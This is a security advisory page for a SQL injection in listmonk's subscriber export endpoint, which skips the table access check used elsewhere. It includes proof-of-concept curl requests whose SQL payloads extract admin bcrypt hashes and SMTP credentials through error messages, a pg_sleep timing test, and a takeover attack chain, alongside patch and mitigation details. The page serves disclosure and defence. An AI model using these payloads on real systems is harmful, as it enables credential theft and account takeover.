listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentialsGHSA-xgjr-7j9q-2h4r
MEDIUMFix: knadh/listmonk@c0a6525GHSA-xgjr-7j9q-2h4r is a medium-severity (CVSS 5.5) SQL Injection vulnerability in github.com/knadh/listmonk. A fix is available for github.com/knadh/listmonk — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-xgjr-7j9q-2h4r.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/knadh/listmonkReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sql_query permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sql_query → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.
Details
The subscriber query feature accepts a user-controlled query parameter that is injected directly into a SQL template via strings.ReplaceAll. The regular query endpoint GET /api/subscribers correctly calls validateQueryTables to block access to sensitive tables before execution. The export endpoint GET /api/subscribers/export omits this call entirely, creating an asymmetric bypass of an intentional security control.
internal/core/subscribers.go — protected path (regular query):
// QuerySubscribers — table validation present
stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond)
if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {
return nil, 0, echo.NewHTTPError(http.StatusBadRequest,
fmt.Sprintf("Error preparing subscriber query: %v", err))
}
internal/core/subscribers.go — vulnerable path (export):
// ExportSubscribers — NO table validation
stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond)
tx, err := c.db.Preparex(stmt) // executes directly without restriction
queries/subscribers.sql — the %query% placeholder is injected into a WHERE clause:
SELECT subscribers.id, subscribers.email, ...
FROM subscribers
LEFT JOIN subscriber_lists ON ...
WHERE (subscribers.status != 'blocklisted') AND %query%
ORDER BY subscribers.id ASC LIMIT ...
Because the export path does not run inside a ReadOnly transaction (unlike the dry-run used in QuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.
PoC
Prerequisites: Authenticated session with subscribers:sql_query and subscribers:get_all permissions.
Step 1 — Confirm the bypass (blocked on query, open on export):
# Blocked on regular endpoint:
curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}
# Bypassed on export endpoint:
curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 200: returns subscriber rows with no error
Step 2 — Error-based exfiltration of admin password hash:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\""
}
Step 3 — Error-based exfiltration of SMTP credentials:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\""
}
Step 4 — Time-based blind confirmation:
time curl -s "http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# Returns after ~3 seconds — confirms arbitrary SQL function execution
Impact
This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the subscribers:sql_query permission can:
- Read bcrypt password hashes of all admin accounts (including Super Admin)
- Extract SMTP credentials, API keys, and all values stored in the
settingstable - Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover
- Execute data-modifying SQL via PostgreSQL CTEs (write impact)
Attack chain: subscribers:sql_query → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.
This finding is distinct from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies validateQueryTables to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/knadh/listmonk | all versions | 1.1.1-0.20260619102436-c0a6525009a6go get github.com/knadh/listmonk@v1.1.1-0.20260619102436-c0a6525009a6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/knadh/listmonk, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/knadh/listmonk to 1.1.1-0.20260619102436-c0a6525009a6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xgjr-7j9q-2h4r is resolved across your whole dependency graph.
Workarounds
Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.
Frequently Asked Questions
Is GHSA-xgjr-7j9q-2h4r in your dependencies?
Find it across Go, including transitive dependencies.